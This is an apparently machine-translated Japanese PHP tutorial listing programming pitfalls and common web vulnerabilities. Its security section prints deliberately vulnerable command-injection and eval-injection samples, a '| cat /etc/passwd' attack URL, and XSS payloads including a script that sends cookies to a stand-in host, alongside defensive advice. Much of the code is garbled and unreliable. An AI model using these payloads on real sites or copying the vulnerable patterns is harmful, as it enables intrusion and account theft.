ホームページ  >  記事  >  バックエンド開発  >  PHPプログラミングによる注意点まとめ_PHPチュートリアル

PHPプログラミングによる注意点まとめ_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:11:11648ブラウズ

1. PHP の暗黙的な三項演算子 (?:) の優先課題:

例 1:

コードをコピーします コードは次のとおりです:

$person = $who または $person = "laruence"

//実際には次と同等です:

$person = empty( $who )? "laruence" : $who; 例 2


コードは次のとおりです:
$arr = array (1=>1,3=>3) ; $i = 2; $a = 'test' . isset($arr[$i]) : $i; この質問は最初は何でしょうか?ちらっと見て、
$a = 'テスト2';

実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..

優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。

最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:

$a = $arr[$i]; php にプロンプ​​トが表示されます。

2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。

そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。


3. 連載中の配信問題

複雑なデータ型を文字列に圧縮

serialize() 変数とその値をテキスト形式にエンコード

unserialize() 元の変数を復元

コードをコピー

コードは次のとおりです:


$stooges = array ('モー','ラリー','カーリー');

$new = シリアル化($stooges); print_r(unserialize($new) ); ; 結果: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}Array ( [0 ] => Moe [1] => Larry [2] => Curly )
これらのシリアル化されたデータを URL に配置してページ間で渡すときは、データに対して urlencode() を呼び出してメタキャラクターを確認する必要があります。 URL 内の が処理されます:



コードをコピー

コードは次のとおりです:
$shopping = array('ケシの実ベーグル' => 2,'プレーン ベーグル' =>1,'Lox ' =>4);

echo 'next';


margic_quotes_gpc と magic_quotes_runtime構成項目の設定は、unserialize() に渡されるデータに影響します。

magic_quotes_gpc 項目が有効な場合、URL、POST 変数、および Cookie で渡されたデータは、逆シリアル化の前に、stripslashes() で処理する必要があります: コードをコピーします
コードは次のとおりです:


$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンになっている場合
$new_cart = unserialize($cart);


magic_quotes_runtime が有効な場合は、シリアル化されたデータをファイルに書き込む前に addlashes() を使用する必要があります。そして、それらを読み取る前に、stripslashes() で処理する必要があります。
コードをコピー
コードは次のとおりです。


$fp = fopen('/tmp/cart','w');
fputs( $fp,addslashes(serialize($a)));
fclose($fp);
//magic_quotes_runtime がオンの場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); /magic_quotes_runtime がオフの場合
$new_cat = unserialize(file_get_contents('/tmp/cart'));magic_quotes_runtime が有効な場合、データベースから読み取られたシリアル化されたデータは、stripslashes() によっても処理される必要があり、シリアル化されたデータは次の場所に保存されます。データベースを適切に保存するには、addslashes() によってデータベースを処理する必要があります。

コードをコピーします

コードは次のとおりです:

mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('id=1のカートからデータを選択します');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンの場合
$new_cart = unserialize(stripslashes($ob->data))
//magic_quotes_runtime がオフの場合
$new_cart = uns Serialize ($ob ->data);

オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。

4. 参考メモ
PHPにおける参照とは、同じ変数の内容に別の名前でアクセスすることを意味します(C言語におけるポインタは変数の内容とメモリに格納されたアドレス)。別のエイリアスまたは変数のマッピング。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。

1) 参照の設定を解除します。これは、変数名と変数の内容の間のバインドを解除するだけです。これは、変数の内容が破棄されるという意味ではありません

例: $b は設定解除されず、$a のみが解除されます。

コードをコピーします コードは次のとおりです:

unset ($a); //出力: 1 :


unset($a) を使用した結果) と $a =null は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。

2) PHP 参照では、参照カウントとコピーオンライトが使用されます

多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。

つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。 $a = array('a','c'...'n'); $ b = $a;

ここでのみプログラムが実行される場合、$b と $b は同じですが、C のように異なるメモリ空間を占有するのではなく、同じメモリ空間を指します。これが php と の違いです。 c は、$b が $a のメモリを指すように $b=&$a と記述する必要がないことです。zend はすでに参照を実装しており、いつ実装すべきかを判断するのに非常に役立ちます。この方法で処理すべきではない場合は、これを実行してください。

後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。




コードをコピーします

コードは次のとおりです:

Function printArray(&$arr) // 参照渡し
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。

直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、対応する変更を加えます。

上記のコードを次のように変更すると:

コードをコピー コードは次のとおりです:

function printArray($arr) //値の転送
PrintArray ($ a)


上記のコードは、$ A 値を printarray() に直接渡します。このとき、参照は渡されないため、書き込み時にコピーは行われません。

5. エンコーディングの問題

プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか? $str = "こんにちは、こんにちは";

エコー strlen($str);

結果: ANSI=9 および utf-8=11、utf-8 の中国語文字エンコーディングは 3 バイトです。文字数を取得するには、mb_strlen()を使用します。

6. PHP でパラメータを取得する 3 つの方法

方法 1 は $argc $argv を使用します


コードをコピーします

コードは次のとおりです: if ($argc > 1){
print_r($argv);コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456
を実行します。
実行結果:
> -F= [2] = & gt; -g
[4] = & gt;
方法 2 は getopt 関数を使用します ()



コードをコピーします

コードは次のとおりです:


$options = "f:g:"
$opts = getopt( $options ); ($opts) ;

/usr/local/php/bin/php ./getopt.php -f 123 -g 456 の実行結果:
Array ] => 456
)

方法 3: ユーザーに入力を求め、入力パラメーターを取得します。 C言語に少し似ています

コードをコピーします

コードは次のとおりです:

fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN)); (STDOUT, "Hello , $name!");


コマンドラインで /usr/local/php/bin/php ./getopt.php を実行します
実行結果
名前を入力してください: francis こんにちは、francis!


7. PHP 文字列は、C ポインター文字列と同様に配列として扱うことができます

コードをコピーします
コードは次のとおりです。


$s = '12345'; $s [$s[0]] = 0;
$s ?>
結果は10345です


8. PHPの効率的な書き方:

9. PHPのセキュリティ上の脆弱性:

PHP Webサイトに対する攻撃手法は主に以下のとおりです。

1. コマンドインジェクション

PHP で次の 5 つの関数を使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、"(shell_exec と同じ関数)

例:

コードをコピーします コードは次のとおりです:
< ;?php
$dir = $_GET["dir"];
if (isset($dir)) { echo "";
system("ls -al ".$dir"; ;
}
?>


http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/ passwd") ; 弊社サーバーのユーザー情報が盗まれた可能性があります。

2. エバルインジェクション

eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。


コードをコピーします

コードは次のとおりです:$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg "];
eval("$var = $arg;");
echo "$var =".$var;
}
?>


http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。 コマンドインジェクションとevalインジェクションを防ぐ方法

1) 外部コマンドを実行しないようにしてください。

2) カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。

3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。 """ 、セミコロン ";" を ";" に置き換えます

3. クライアント側のスクリプト攻撃 (スクリプト挿入)

クライアントサイドスクリプト埋め込み攻撃手順

1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。

2) メッセージページを開き、攻撃用のJSコードを挿入します

3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します

4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました

フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:

<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します

<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします

悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換します。


4. クロスサイトスクリプティング (XSS)

悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入します。ユーザーがページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。

クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。

クロスサイトスクリプティング攻撃の一般的な手順:

1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。

<script>document.location= “go.somewhere.bad?cookie=+”this.cookie</script>を挿入します

またはリンク:

http://w w w.my.site/index.php?user= コードは次のとおりです。 PHP PDO::prepare() およびexecute()
$preparedStatement = $db-> prepare('INSERT INTO table (column) VALUES (:column)');

$preparedStatement->execute(array(':column' => $unsafeValue)); mysqli:

を使用します。

コードをコピーします

コードは次のとおりです:
$stmt = $dbConnection->prepare('SELECT * FROM従業員 WHERE name = ?'); $stmt->bind_param('s', $name);
$ stmt->execute();

$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {

// $row で何かをする

}


6. クロスサイトリクエストフォージェリ (CSRF)

7. セッションハイジャック

8. セッションの固定

9. HTTP レスポンスの分割

10. ファイルアップロード攻撃

11. ディレクトリトラバーサル

12. リモートファイルインクルージョン攻撃(Remote Inclusion)

13. 動的関数注入攻撃(動的変数評価)

14. URL攻撃

15. なりすましフォームの送信

16. スプーフィングされた HTTP リクエスト

いくつかの重要な php.ini オプション: register_globals、magic_quotes、safe_mode。 これらのオプションは PHP5.4 で非推奨になります。

register_globals:

php>=4.2.0、register_globals

の場合、php.ini の register_globals オプションのデフォルト値はオフです。

が On に設定されている場合、プログラムはフォームによって送信された変数を含むさまざまな環境変数をサーバーから受け取ることができます。また、PHP は変数の値を事前に初期化する必要がないため、大きなセキュリティ リスクにつながります。

register_globals が無効になっていることを確認してください。 register_globals が有効な場合、$variable を使用して GET または POST 文字列を同じ名前に置き換えるなどの不注意な行為が可能になります。この設定を無効にすると、PHP は正しい名前空間の正しい変数を参照するように強制します。フォーム POST から変数を使用するには、$_POST['variable'] を引用符で囲む必要があります。こうすることで、この特定の変数を Cookie、セッション、または GET 変数と間違えることがなくなります。

セーフモード:

セーフ モードでは、PHP はドキュメントへのアクセスを制限し、環境変数へのアクセスを制限し、外部プログラムの実行を制御するために使用されます。セーフモードを有効にするには、php.iniでsafe_mode=Onを設定する必要があります

magic_quotes

PHP プログラムの入力情報を自動的にエスケープするために使用されます。すべての一重引用符 ("'")、二重引用符 (""")、バックスラッシュ ("")、およびヌル文字 (NULL) が自動的に追加されます。バックスラッシュはエスケープされます。 =On は、Magicquotes を On に設定するために使用されます。これは、HTTP リクエスト データ (GET、POST、Cookie) に影響します。プログラマは、addslashes を使用して送信された HTTP リクエスト データをエスケープしたり、stripslashes を使用してデータを削除したりすることもできます。


10. 複数のcurlリクエストの同時使用

誰もがcurlを使用したことがあると思いますが、同時使用はそれほど多くないと推定されます。しかし、同じリクエストで複数の他のパーティのインターフェースを呼び出す場合など、場合によっては確かに便利です。従来の方法では、シリアルリクエストインターフェースが必要です:

file_get_contents('http://a.php');//1 秒

file_get_contents('http://b.php');//2秒

file_get_contents('http://c.php');//2秒

ここでは 5 秒かかりますが、curl の muti メソッドを操作することで、わずか 2 秒でリクエストを完了できます。次のとおりです。$ curl_multi_init();リクエストキューへの残りの接続:

参考: ブロックせずにcurl_multi()を使用する方法

コードをコピーします コードは次のとおりです:

$connomains = array(
自分で取得してください
"http://localhost/2.php?id=1",//sleep(1) 秒
"http://localhost/2. php?id=2",//sleep(2) 秒
"http://localhost/2.php?id=5",//sleep(5) 秒
);

$mh =curl_multi_init();

foreach ($connomains as $i => $url) {
$conn[$i] =curl_init($url);//各サブ接続を初期化します
curl_setopt($conn[$i] , CURLOPT_RETURNTRANSFER, 1 ); //ブラウザに直接出力しません
curl_multi_add_handle ($mh,$conn[$i]);//マルチ処理ハンドルを追加します
}

$active = 0;//接続数

do { {Do { /// ここで $ Active は現在の未処理の番号に書き換えられます
// 処理が成功した $ Active はすべて 0 になります




= Curl_multi_exec ($ mh, $ active

); // このサイクルこのサイクルの目的は、読み取りと書き込みができなくなるまで、できるだけ読み取りと書き込みを行うことです (CURLM_OK を返す) //(CURLM_CALL_MULTI_PERFORM) を返すということは、ネットワークへの読み取りと書き込みを続行できることを意味します
}while($mrc ==CURLM_CALL_MULTI_PERFORM);


// すべてが正常であれば、一定時間ごとにポーリングと再リクエストを行う必要があります (デフォルトは 1 秒)
// これは、待機プロセス中のcurl_multi_select の役割です。現在読み取りおよび書き込みできるハンドルが存在する場合はそのハンドルを返します。したがって、
//読み取りおよび書き込み操作を続行します。0 は読み取りおよび書き込みができる (完了した) ハンドルがないことを意味します
} while ($mrc ==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//エラーが発生するまで、またはすべての読み取りと書き込みが完了するまで

if ($mrc != CURLM_OK) {
print "Curl マルチ読み取りエラー $mrc/n ";
}

// データを取得します
foreach ($connomains as $i => $url) {
if (($err =curl_error($conn[$i])) == '') { {エラーハンドル $i: $err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
curl_multi_close($mh);

print_r($res );
?>


トラブルを避けるために次のように書く人もいます:
do {curl_multi_exec($mh,$active) } while ($active);

結果が得られるように見えますが、実際には、すべてのリンクが処理されるまでこのループが呼び出され続けるため、厳密ではなく、CPU を浪費します。効果を確認するには、ループに print 'a' を追加します。

11. オブジェクト属性が空かどうかを判断するために空のマジックメソッド __get を使用しても機能しません


マジック メソッド __get を使用する場合、クラスの存在しない/非パブリック変数に対して empty() を呼び出した場合の結果は少し混乱することに注意してください (gmx dot de で nahpeps によって前述されているように)。次の例を考えてみましょう。 コードをコピーします

コードは次のとおりです:


class Registry
{
protected $_items = array();
public function __set($key, $value)
{
$this->_items[$key] = $value;
}
パブリック関数__get($ key)
}
}}}

$registry = 新しいレジストリ();
$registry->empty = '';
$registry->notEmpty = '空ではありません';

var_dump(empty($registry->notExisting)); // true、これまでのところ良好ですvar_dump(empty($registry->empty)) // true、これまでのところ良好です

var_dump($ registry->notEmpty)); // true、.. 何か?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)) // 予想通り false


; 12. Linux でコマンドラインから実行される php ファイルの形式は unix である必要があります。

php ./test.php
test.phpがwindosからアップロードされた場合、その形式はdosである可能性があります。
その後、このコマンドを実行すると、エラー メッセージが表示されます: 入力ファイルを開けませんでした

vi で set ff を使用してフォーマットを表示できます:
ファイル形式=dos



dos 形式の場合は、set ff=unix を使用して新しい形式を設定する必要があります

Use:set ff を再度使用してフォーマットを確認すると、すでに UNIX フォーマットになっていることがわかります。

fileformat=unix


http://www.bkjia.com/PHPjc/326954.html


www.bkjia.com

tru​​e

http://www.bkjia.com/PHPjc/326954.html技術記事 1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題: 例 1: 次のようにコードをコピーします: $person = $who または $person = "larence" //実際には次と同等です: $person = empty($who)? 「ラ…
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:PHP ディレクトリのトラバーサルと削除機能の使用の概要_PHP チュートリアル次の記事:PHP ディレクトリのトラバーサルと削除機能の使用の概要_PHP チュートリアル

関連記事

続きを見る